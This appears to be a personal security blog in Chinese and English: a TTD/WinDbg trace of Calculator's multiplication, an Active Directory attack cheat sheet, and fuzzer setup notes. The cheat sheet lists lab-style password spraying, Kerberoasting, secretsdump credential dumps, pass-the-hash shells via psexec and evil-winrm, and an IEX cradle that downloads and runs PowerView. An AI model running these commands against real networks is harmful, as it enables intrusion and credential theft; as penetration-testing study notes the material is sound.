fei's work logs

fei's work logs

Stay hungry, stay curious

总体思路

在计算器执行完的最终现场,使用Windbg寻找计算结果存储地址,通过TTD回溯找地址被写入的最早时刻,结果会在几个地址拷贝传递,找到最早出现的地址,再回溯若干指令,便可达到计算乘法的地方。

调试过程

基本信息

系统:Win11, 22H2
计算器路径:C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2210.0.0_x64__8wekyb3d8bbwe\CalculatorApp.exe
版本号:11.2210.0.0

过程

打开计算器

记录pid=12052

执行TTD录制

tttracer.exe要使用管理员模式运行。

tttracer.exe -ring -maxFile 2048 -out "calc_%.run" -attach 12052

乘法运算

调整到程序员hex模式,输入8547*3614,得到结果1C27638C

结束TTD

tttracer.exe -stop all

此时cmd窗口提示Ring trace dumped to C:\Users\xxxx\Desktop\calc_03.run

挂Windbg搜索地址

我用的是windbg preview版本,老版本也可以,选择Attach to process附加计算器进程,查看堆栈

0:035> !address -f:stack,heap

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

        BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage
--------------------------------------------------------------------------------------------------------------------------
      28`38370000       28`3837b000        0`0000b000 MEM_PRIVATE MEM_RESERVE                                    Stack      [~12; 2f14.52e8]
...省略
     13b`d8e70000      13b`d8e80000        0`00010000 MEM_MAPPED  MEM_COMMIT  PAGE_READWRITE                     Heap       [ID: 1; Handle: 0000013bd8e70000; Type: Segment]
...省略
     13c`01a7e000      13c`01b00000        0`00082000 MEM_PRIVATE MEM_RESERVE                                    Heap       [ID: 0; Handle: 0000013bd8f30000; Type: SegmentHeap Segment]

搜索结果1C27638C的地址,得分几次搜,不然段太大提示Range error,一共搜到了4个地址。

0:035> s 13c`00000000 13c`01b00000 8c 63 27 1c
0000013c`01a5d360  8c 63 27 1c 00 00 00 00-00 00 80 40 00 00 08 00  .c'........@....
0000013c`01a5f8e0  8c 63 27 1c 00 00 00 00-00 00 00 00 00 00 0c 00  .c'.............
0:035> s 13b`f1a70000 13b`ffffa000 8c 63 27 1c
0000013b`f56953b0  8c 63 27 1c 00 00 00 00-00 00 00 00 00 00 0c 00  .c'.............
0:035> s 13b`d8e70000 13b`d9200000 8c 63 27 1c
0000013b`d902dcf0  8c 63 27 1c 00 00 00 00-00 00 00 00 00 00 0c 00  .c'.............

此时这个windbg可以放一边了。

再开一个windbg,分析TTD录制文件

选择Open trace file,打开上述calc_03.run文件。
此时有4个地址,选择哪一个跟踪回溯?应该选时间最早出现的那一个。
那么就针对上面4个地址分别执行dx指令寻找内存被操作记录。

0:001> r $t0=0000013c`01a5d360 ;r $t1=4;r $t2=1C27638C;dx -g @$cursession.TTD.Memory(@$t0,@$t0+@$t1,"rw").Where(m=>m.Value==@$t2)
======================================================================================================================================================================================================================================================================
=            = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd   = (+) AccessType = (+) IP            = (+) Address      = (+) Size = (+) Value     = (+) OverwrittenValue = (+) SystemTimeStart        = (+) SystemTimeEnd          =
======================================================================================================================================================================================================================================================================
= [0xed]     - 0x1           - 0x5208       - 0x1617             - 1F72E7:83     - 1F72E7:83     - Write          - 0x7fff3bf0142c    - 0x13c01a5d360    - 0x4      - 0x1c27638c    - 0x4                  - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xee]     - 0x1           - 0x5208       - 0x1617             - 1F75BC:8F     - 1F75BC:8F     - Read           - 0x7fff055e7070    - 0x13c01a5d360    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xef]     - 0x1           - 0x5208       - 0x1617             - 1F89F6:83     - 1F89F6:83     - Write          - 0x7fff3bf0142c    - 0x13c01a5d360    - 0x4      - 0x1c27638c    - 0x1c27638c           - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xf0]     - 0x1           - 0x5208       - 0x1617             - 1F8CDD:8F     - 1F8CDD:8F     - Read           - 0x7fff055e7070    - 0x13c01a5d360    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xf1]     - 0x1           - 0x5208       - 0x1617             - 1FA13D:83     - 1FA13D:83     - Write          - 0x7fff3bf0142c    - 0x13c01a5d360    - 0x4      - 0x1c27638c    - 0x1c27638c           - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xf2]     - 0x1           - 0x5208       - 0x1617             - 1FA417:8F     - 1FA417:8F     - Read           - 0x7fff055e7070    - 0x13c01a5d360    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xf3]     - 0x1           - 0x5208       - 0x1617             - 1FB839:83     - 1FB839:83     - Write          - 0x7fff3bf0142c    - 0x13c01a5d360    - 0x4      - 0x1c27638c    - 0x1c27638c           - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xf4]     - 0x1           - 0x5208       - 0x1617             - 1FBB10:8F     - 1FBB10:8F     - Read           - 0x7fff055e7070    - 0x13c01a5d360    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0x16f]    - 0x1           - 0x5208       - 0x1617             - 2006E5:A51    - 2006E5:A51    - Write          - 0x7fff055963bb    - 0x13c01a5d360    - 0x4      - 0x1c27638c    - 0xc27638c            - 2023年7月20日 15:12:54.193    - 2023年7月20日 15:12:54.193    =
======================================================================================================================================================================================================================================================================
0:001> r $t0=0000013c`01a5f8e0 ;r $t1=4;r $t2=1C27638C;dx -g @$cursession.TTD.Memory(@$t0,@$t0+@$t1,"rw").Where(m=>m.Value==@$t2)
====================================================================================================================================================================================================================================================================
=           = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd  = (+) AccessType = (+) IP            = (+) Address      = (+) Size = (+) Value     = (+) OverwrittenValue = (+) SystemTimeStart        = (+) SystemTimeEnd          =
====================================================================================================================================================================================================================================================================
= [0xb]     - 0x1           - 0x5208       - 0x1617             - 1F5074:A8     - 1F5074:A8    - Write          - 0x7fff055e6fdc    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    - 0x0                  - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0xc]     - 0x1           - 0x5208       - 0x1617             - 1F509F:8F     - 1F509F:8F    - Read           - 0x7fff055e7070    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0xd]     - 0x1           - 0x5208       - 0x1617             - 1F625A:BF     - 1F625A:BF    - Read           - 0x7fff3bf0142a    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0xe]     - 0x1           - 0x5208       - 0x1617             - 1F72E7:82     - 1F72E7:82    - Read           - 0x7fff3bf0142a    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0xf]     - 0x1           - 0x5208       - 0x1617             - 1F89F6:82     - 1F89F6:82    - Read           - 0x7fff3bf0142a    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0x10]    - 0x1           - 0x5208       - 0x1617             - 1FA13D:82     - 1FA13D:82    - Read           - 0x7fff3bf0142a    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0x11]    - 0x1           - 0x5208       - 0x1617             - 1FB839:82     - 1FB839:82    - Read           - 0x7fff3bf0142a    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.162    - 2023年7月20日 15:12:54.162    =
= [0x12]    - 0x1           - 0x5208       - 0x1617             - 1FF001:82     - 1FF001:82    - Read           - 0x7fff3bf0142a    - 0x13c01a5f8e0    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.193    - 2023年7月20日 15:12:54.193    =
====================================================================================================================================================================================================================================================================
0:001> r $t0=0000013b`f56953b0 ;r $t1=4;r $t2=1C27638C;dx -g @$cursession.TTD.Memory(@$t0,@$t0+@$t1,"rw").Where(m=>m.Value==@$t2)
===================================================================================================================================================================================================================================================================
=          = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd  = (+) AccessType = (+) IP            = (+) Address      = (+) Size = (+) Value     = (+) OverwrittenValue = (+) SystemTimeStart        = (+) SystemTimeEnd          =
===================================================================================================================================================================================================================================================================
= [0x2]    - 0x1           - 0x5208       - 0x1617             - 1F4F14:AD     - 1F4F14:AD    - Write          - 0x7fff3bf0142c    - 0x13bf56953b0    - 0x4      - 0x1c27638c    - 0x8547               - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
===================================================================================================================================================================================================================================================================
0:001> r $t0=0000013b`d902dcf0 ;r $t1=4;r $t2=1C27638C;dx -g @$cursession.TTD.Memory(@$t0,@$t0+@$t1,"rw").Where(m=>m.Value==@$t2)
===================================================================================================================================================================================================================================================================
=          = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd  = (+) AccessType = (+) IP            = (+) Address      = (+) Size = (+) Value     = (+) OverwrittenValue = (+) SystemTimeStart        = (+) SystemTimeEnd          =
===================================================================================================================================================================================================================================================================
= [0xd]    - 0x1           - 0x5208       - 0x1617             - 1F625A:C0     - 1F625A:C0    - Write          - 0x7fff3bf0142c    - 0x13bd902dcf0    - 0x4      - 0x1c27638c    - 0x3614               - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
===================================================================================================================================================================================================================================================================

找TimeStart字段最小的那一个,就是第三个地址0000013b`f56953b0对应的时间1F4F14:AD,点击该时间点,再点[Time Travel],即可跳到这个时刻。
也可以执行!tt 指令跳转,如下:

0:001> !tt 1F4F14:AD
Setting position: 1F4F14:AD
(2f14.5208): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 1F4F14:AD
rax=0000013bf56953b0 rbx=0000000000000001 rcx=000000001c27638c
rdx=0000013c01a5f900 rsi=0000013bf56bc1a8 rdi=0000000000000001
rip=00007fff3bf0142c rsp=0000002838efcc38 rbp=0000013c01a5f900
 r8=0000000000000004  r9=00007fff3bf0142a r10=00007fff3bf00000
r11=0000002838efcb90 r12=0000013c01a5f904 r13=0000013bf56bce88
r14=0000013bf56953b0 r15=0000000000000004
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
VCRUNTIME140_APP!memcpy+0x11c:
00007fff`3bf0142c 8908            mov     dword ptr [rax],ecx ds:0000013b`f56953b0=00008547

此时可以看到ecx是计算结果1c27638c,rax是待写入的地址。
ecx是哪里来的?通过Step Over Back往回执行,回退一次后发现是rdx地址传递过来的

VCRUNTIME140_APP!memcpy+0x11a:
00007fff`3bf0142a 8b0a            mov     ecx,dword ptr [rdx] ds:0000013c`01a5f900=1c27638c

新的地址出现了,0000013c`01a5f900,这里存了结果,再使用dx看下谁写了这个地址

0:001> r $t0=13c01a5f900 ;r $t1=4;r $t2=1C27638C;dx -g @$cursession.TTD.Memory(@$t0,@$t0+@$t1,"rw").Where(m=>m.Value==@$t2)
===================================================================================================================================================================================================================================================================
=          = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd  = (+) AccessType = (+) IP            = (+) Address      = (+) Size = (+) Value     = (+) OverwrittenValue = (+) SystemTimeStart        = (+) SystemTimeEnd          =
===================================================================================================================================================================================================================================================================
= [0x0]    - 0x1           - 0x5208       - 0x1617             - 1F4EFA:A8     - 1F4EFA:A8    - Write          - 0x7fff055e6fdc    - 0x13c01a5f900    - 0x4      - 0x1c27638c    - 0x0                  - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x1]    - 0x1           - 0x5208       - 0x1617             - 1F4F14:AC     - 1F4F14:AC    - Read           - 0x7fff3bf0142a    - 0x13c01a5f900    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x2]    - 0x1           - 0x5208       - 0x1617             - 1F4F2F:8F     - 1F4F2F:8F    - Read           - 0x7fff055e7070    - 0x13c01a5f900    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x3]    - 0x1           - 0x5208       - 0x1617             - 1F4F71:8F     - 1F4F71:8F    - Read           - 0x7fff055e7070    - 0x13c01a5f900    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
===================================================================================================================================================================================================================================================================

选择时间最早的一次,即1F4EFA:A8,当然也得看AccessType是write类型的,因为是想找写入操作,dx Memory命令里我们用了rw模式,用w模式过滤结果会少一些。

0:001> !tt 1F4EFA:A8
Setting position: 1F4EFA:A8
(2f14.5208): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 1F4EFA:A8
rax=000000001c27638c rbx=0000013c01a5f9a0 rcx=0000000000000000
rdx=0000013c01a5f900 rsi=0000000000000001 rdi=0000013c01a66f2c
rip=00007fff055e6fdc rsp=0000002838efc900 rbp=0000002838efcdd0
 r8=0000000000000000  r9=0000000000000001 r10=00007fff3bf00000
r11=0000000000000000 r12=0000002838efcd90 r13=0000000000000001
r14=0000002838efc968 r15=000000000000005c
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
CalcViewModel+0x126fdc:
00007fff`055e6fdc 8902            mov     dword ptr [rdx],eax ds:0000013c`01a5f900=00000000

此时eax有我们的计算结果,再回退执行一次

0:001> p-
Time Travel Position: 1F4EFA:A7
rax=0000013c01a5f904 rbx=0000013c01a5f9a0 rcx=0000000000000000
rdx=0000013c01a5f900 rsi=0000000000000001 rdi=0000013c01a66f2c
rip=00007fff055e6fda rsp=0000002838efc900 rbp=0000002838efcdd0
 r8=0000000000000000  r9=0000000000000001 r10=00007fff3bf00000
r11=0000000000000000 r12=0000002838efcd90 r13=0000000000000001
r14=0000002838efc968 r15=000000000000005c
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
CalcViewModel+0x126fda:
00007fff`055e6fda 8b07            mov     eax,dword ptr [rdi] ds:0000013c`01a66f2c=1c27638c

又出现了新的地址0000013c`01a66f2c,存储了计算结果,针对这个地址再来一次dx,看谁写入了这里

0:001> r $t0=13c01a66f2c ;r $t1=4;r $t2=1C27638C;dx -g @$cursession.TTD.Memory(@$t0,@$t0+@$t1,"rw").Where(m=>m.Value==@$t2)
=====================================================================================================================================================================================================================================================================
=           = (+) EventType = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd   = (+) AccessType = (+) IP            = (+) Address      = (+) Size = (+) Value     = (+) OverwrittenValue = (+) SystemTimeStart        = (+) SystemTimeEnd          =
=====================================================================================================================================================================================================================================================================
= [0x2]     - 0x1           - 0x5208       - 0x1617             - 1F4EE8:B4     - 1F4EE8:B4     - Write          - 0x7fff055ecb45    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    - 0x0                  - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x3]     - 0x1           - 0x5208       - 0x1617             - 1F4EFA:A7     - 1F4EFA:A7     - Read           - 0x7fff055e6fda    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x10]    - 0x1           - 0x5208       - 0x1617             - 1F520E:F9     - 1F520E:F9     - Read           - 0x7fff055e5375    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x11]    - 0x1           - 0x5208       - 0x1617             - 1F5213:A4     - 1F5213:A4     - Read           - 0x7fff055e54ac    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x15]    - 0x1           - 0x5208       - 0x1617             - 1F527F:BA     - 1F527F:BA     - Read           - 0x7fff055d10f0    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x16]    - 0x1           - 0x5208       - 0x1617             - 1F527F:103    - 1F527F:103    - Read           - 0x7fff055e6680    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x17]    - 0x1           - 0x5208       - 0x1617             - 1F5372:62     - 1F5372:62     - Read           - 0x7fff055e0630    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
= [0x18]    - 0x1           - 0x5208       - 0x1617             - 1F5384:6B     - 1F5384:6B     - Read           - 0x7fff055d10f0    - 0x13c01a66f2c    - 0x4      - 0x1c27638c    -                      - 2023年7月20日 15:12:54.130    - 2023年7月20日 15:12:54.130    =
=====================================================================================================================================================================================================================================================================

找时间最早的1F4EE8:B4,Time Travel

0:001> !tt 1F4EE8:B4
Setting position: 1F4EE8:B4
(2f14.5208): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 1F4EE8:B4
rax=000000001c27638c rbx=0000013c01a6704c rcx=000000001c27638c
rdx=000000001c27638c rsi=0000013c01a66f20 rdi=0000000000000001
rip=00007fff055ecb45 rsp=0000002838efc8c0 rbp=0000000000003614
 r8=0000000000000000  r9=0000000000000000 r10=0000013c01a66f2c
r11=0000000000000001 r12=0000000000000120 r13=0000013c01a67040
r14=0000013c01a66f30 r15=0000013c01a66890
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
CalcViewModel+0x12cb45:
00007fff`055ecb45 4389048a        mov     dword ptr [r10+r9*4],eax ds:0000013c`01a66f2c=00000000

达到乘法计算现场

eax存储了我们的结果,此时往回执行就没有新的地址出现了,回溯不到20条指令即可看到乘法计算现场,经历eax-edx-rcx-r8的传递路径,到达最初的地方imul r8,rbp:

rax=0000000000003614 rbx=0000013c01a6704c rcx=0000013c01a66f2c
rdx=0000000000000000 rsi=0000013c01a66f20 rdi=0000000000000001
rip=00007fff055ecb06 rsp=0000002838efc8c0 rbp=0000000000003614
 r8=0000000000008547  r9=0000000000000000 r10=0000013c01a66f2c
r11=0000000000000001 r12=0000000000000120 r13=0000013c01a67040
r14=0000013c01a66f30 r15=0000013c01a66890
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
CalcViewModel+0x12cb06:
00007fff`055ecb06 4c0fafc5        imul    r8,rbp

r8是被乘数8547,rbp是乘数3614,分析完毕。

结论

简单来说,通过跟踪地址的操作传递路径,不断回溯,直到达到最早一次的地址写入,便可达到现场附近。
使用TTD最大的好处是固化执行路径,每个时间片都是固定的,每个时刻都是可查询的,TTD非常方便往复分析,从上帝视角窥视执行路径,极大提升分析效率。
能不能直接在录制文件里搜计算结果最早存储的地址,从而省去跟踪中间结果传递的几个步骤?这个得研究一下。

参考

https://scz.617.cn/windows/202201251528.txt
https://bbs.kanxue.com/thread-278069.htm


# smb enum
- port 139 445
smbmap -H 10.0.0.1 # no pwd
smbmap -H 10.10.10.100 -d domain -u user -p pwd # pwd
smbclient -N -L \\\\192.168.3.124 # no pwd
smbclient -N \\\\10.10.11.152\\Shares # interactive
smbclient -W domain -U user //10.0.0.1/ADMIN$ # pwd
enum4linux -a 10.0.0.1
msf5 auxiliary(scanner/smb/pipe_auditor) > run
msf5 auxiliary(scanner/smb/smb_lookupsid) > run
rpcclient -U bhult 10.10.10.193
> enumdomusers
> enumprivs
> enumprinters
- pwd spray
cme smb 192.168.73.20 -d domain -u users.txt -p Password4
- brute
hydra -L users.lst -P wordlist.lst 10.10.10.193 smb
- change pwd
smbpasswd -U bhult -r 10.10.10.193
- mount
mount -t cifs //10.10.10.100/Users /mnt/smb -v -o domain=dom,user=user,pass=pwd
- mount in win
net use j: \\hathor\share /u:windcorp.htb\BeatriceMill pwd
net use * /del /y

# ldap enum
- port 389 636 3268
nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
ldapsearch -x -h 10.10.11.147 -D 'windcorp\BeatriceMill' -w 'pwd'  -b "CN=Users,DC=windcorp,DC=htb"
ldapsearch -x -h 10.10.10.100 -p 389 -D 'domain\user' -w 'pwd' -b "dc=active,dc=htb" -s sub"(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountNamePage
GetADUsers.py -all active.htb/user:pwd -dc-ip 10.10.10.100
- export LAPS
cme ldap 10.10.11.152 -u svc_deploy -p 'pwd' --kdcHost timelapse.htb -M laps

# dns enum
- port 53
dig srv _ldap._tcp.dc._msdcs.domain @192.168.73.20

# kerberos
- port 88
kerbrute userenum -d spookysec.local --dc 10.10.246.75 userlist.txt
- enum user hashes & kerberos keys
secretsdump.py spookeysec.local/backup:[email protected] -just-dc  # exported hash can be used to get shell
- ASREPRoasting, Getting TGT for svc-admin
GetNPUsers.py -dc-ip 10.10.246.75 spookysec.local/svc-admin -no-pass
- tgs/spn
GetUserSPNs.py domain/user:pass -dc-ip 10.10.10.100 -request
john --wordlist=/usr/share/wordlists/rockyou.txt spn-admin.txt
hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force
- get shell
psexec.py domain/user:[email protected]
psexec.py [email protected] -hashes hash
smbexec.py domain/[email protected] -hashes hash
wmiexec.py domain/[email protected]

# winRM
- port 5985 5986
evil-winrm -i 10.10.246.75 -u user -H hash
evil-winrm -i 10.10.10.161 -u user -p 'pwd'
evil-winrm -i 10.10.11.152 -S -c cert.crt -k prv.key

# common
- gen dict from url
cewl -d 5 -m 5 -w wordlist.lst url --with-numbers
- gpp Groups.xml crack
gpp-decrypt hash
- share files
smbserver.py tools .
copy \\10.10.14.31\tools\file .
certutil -encode xx.zip encoded.txt
- download file
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/PowerView.ps1')
- check NTLM hash
hashid 9cb01504ba0247ad5c6e08f7ccae7903
- show share
net view 127.0.0.1
- crack pfx pwd
crackpkcs12 -d /usr/share/wordlists/rockyou.txt x.pfx
- export cert from pfx
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
- export private key from pfx
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out prv.key
- crack zip
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt orcharddb.zip

Build

Jackalope

cd jackalope && mkdir build && cd build
cmake -A Win32 ..
cmake --build . --config Release

Winafl

cd winafl && mkdir build && cd build
cmake -A Win32 .. -DDynamoRIO_DIR=C:\Users\Administrator\Desktop\dynamorio\build\cmake -DUSE_DRSYMS=1 -DUSE_COLOR=1
cmake --build . --config Release

DynamoRIO

cd dynamorio && mkdir build && cd build
cmake -A Win32 ..
cmake --build . --config RelWithDebInfo

AFLplusplus

sudo apt-get update
sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev
cd AFLplusplus
make distrib
sudo make install

Jackalope

Grammar fuzz, share mem

fuzzer.exe -in in -out out -t 1000 -delivery shmem -instrument_module test.exe -target_module test.exe -target_method fuzz -nargs 1 -iterations 10000 -grammar ....\examples\grammar\jsgrammar.txt -persist -loop -cmp_coverage -- test.exe -m @@

Binary fuzz, file/share mem

fuzzer.exe -in in -out out -t 3000 -delivery file -instrument_module msxml6.dll -target_module test.exe -target_method fuzz -nargs 1 -iterations 10000 -persist -loop -cmp_coverage -nthreads 4 -- test.exe -f @@
fuzzer.exe -in in -out out -t 1000 -delivery shmem -instrument_module msxml6.dll -target_module test.exe -target_method fuzz -nargs 1 -iterations 10000 -persist -loop -cmp_coverage -- test.exe -m @@

Multithread

fuzzer.exe -in in -out out -t 1000 -delivery shmem -instrument_module msxml6.dll -target_module test.exe -target_method fuzz -nargs 1 -iterations 10000 -restore -nthreads 16 -persist -loop -cmp_coverage -- test.exe -m @@

WinAFL

Test

drrun -c C:\Users\Administrator\Desktop\winafl\build32\bin\Release\winafl.dll -debug -coverage_module msxml6.dll -target_module test.exe -target_offset 0x1010 -fuzz_iterations 10 -nargs 1 -- test.exe -f fff

Fuzz, share mem

afl-fuzz.exe -s -i - -o out -D C:\Users\Administrator\Desktop\dynamorio\build\bin32 -t 10000 -- -coverage_module msxml6.dll -target_module test.exe -target_offset 0x1010 -fuzz_iterations 10000 -nargs 1 -- test.exe -m @@

Fuzz, Covtype: edge

afl-fuzz.exe -s -i in -o out -D C:\Users\jeff\Desktop\Fuzz\dynamorio\build32\bin32 -t 10000 -- -coverage_module msxml6.dll -target_module test.exe -target_offset 0x1010 -fuzz_iterations 10000 -nargs 1 -covtype edge -- test.exe -m @@

Fuzz, Mater/Slave

afl-fuzz.exe -M/-S fuzzxx -s -i in -o out -D C:\Users\jeff\Desktop\Fuzz\dynamorio\build32\bin32 -t 10000 -- -coverage_module msxml6.dll -target_module test.exe -target_offset 0x1010 -fuzz_iterations 10000 -nargs 1 -covtype edge -- test.exe -m @@

honggfuzz

Compile target

export CC=hfuzz-clang
export CXX=hfuzz-clang++
export CFLAGS="-fsanitize-coverage=trace-pc-guard,indirect-calls,trace-cmp"
export CXXFLAGS="-fsanitize-coverage=trace-pc-guard,indirect-calls,trace-cmp"
./configure --disable-shared
CC=afl-gcc CXX=afl-g++ CFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" LDFLAGS=" -g -fsanitize=address -fno-omit-frame-pointer" ./configure --disable-shared
make

Fuzz

honggfuzz -f ~/aflsmart/testcases/aflsmart/wav -W out4  -- ./cli/wavpack -y ___FILE___ -o out4
https://github.com/google/honggfuzz/blob/master/docs/USAGE.md

AFLplusplus

Compile target

CC=afl-clang-lto CXX=afl-clang-lto++ RANLIB=llvm-ranlib AR=llvm-ar ./configure --disable-shared
CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --disable-shared
make

优化

使用sanitizers,编译目标带环境变量: export AFL_USE_ASAN=1 ; export AFL_USE_UBSAN=1 ; export AFL_USE_CFISAN=1
使用Cmplog/Redqueen,正常编译一次,然后再编译一次目标带环境变量:export AFL_LLVM_CMPLOG=1,运行时2个编译版本都要使用:afl-fuzz -i input -o output -c ./program.cmplog -m none -- ./program.afl @@
使用laf-intel/COMPCOV,编译目标带环境变量:export AFL_LLVM_LAF_ALL=1
Fuzz搭配:

  • -M模式无要求,-S模式按下面优化
  • 1个带sanitizers
  • 1-2个带CMPLOG(至少一个带-l AT参数)
  • 1-3个带COMPCOV
  • 1/4-1/3数量的fuzz开启MOpt变异开关带-L 0参数
  • 用不同的power schedule,-p fast (default), explore, coe, lin, quad, exploit and rare参数
  • 一些fuzz使用旧队列循环,-Z参数
    以下建议上面都使用:
  • 在fuzz前导入其他fuzz实例的样本:export AFL_IMPORT_FIRST=1
  • 大量样本情况下:export AFL_CMPLOG_ONLY_NEW=1 ; export AFL_FAST_CAL=1
    提升性能:
  • 使用持久模式
  • 非持久模式下,使用内存盘,降低磁盘消耗,sudo mount -t tmpfs -o size=5g tmpfs /ramdisk, export AFL_TMPDIR=/ramdisk
  • linux下关闭安全项sudo afl-persistent-config
  • 使用样本缓存,export AFL_TESTCACHE_SIZE=200 (50-500)
  • 系统启动后sudo afl-system-config

    Minimize sample set & samples

    afl-cmin -i in -o in_min -f t.wav -- ./cli/wavpack -y @@ -o -
    for i in in/*; do
    afl-tmin -i $i -o tmin_$i -f t_$i -- ./cli/wavpack -y @@ -o - &
    done

    Showmap

    afl-showmap -o /dev/null -- ./cli/wavpack.afl -y tmin_in/low_town_groove.wav -o xx.x
    afl-showmap -C -i out5 -o /dev/null -- ./cli/wavpack.afl -o - -

    fuzz

    sudo mount -t tmpfs -o size=10g tmpfs /ramdisk
    export AFL_IMPORT_FIRST=1;export AFL_CMPLOG_ONLY_NEW=1;export AFL_FAST_CAL=1;export AFL_TESTCACHE_SIZE=200
    mkdir /ramdisk/1 && export AFL_TMPDIR=/ramdisk/1
    ...
    afl-fuzz -M d1 -i tmin_in -o out5 -t 1000 -m none -e wav -L 0 -p fast -- ./cli/wavpack.afl -y -o - -
    afl-fuzz -S d2 -i tmin_in -o out5 -t 1000 -m none -e wav -L 0 -- ./cli/wavpack.san -y -o - -
    afl-fuzz -S d3 -i tmin_in -o out5 -t 1000 -m none -e wav -c ./cli/wavpack.cmplog -l AT -- ./cli/wavpack.afl -y -o - -
    afl-fuzz -S d4 -i tmin_in -o out5 -t 1000 -m none -e wav -c ./cli/wavpack.cmplog -l 2 -- ./cli/wavpack.afl -y -o - -
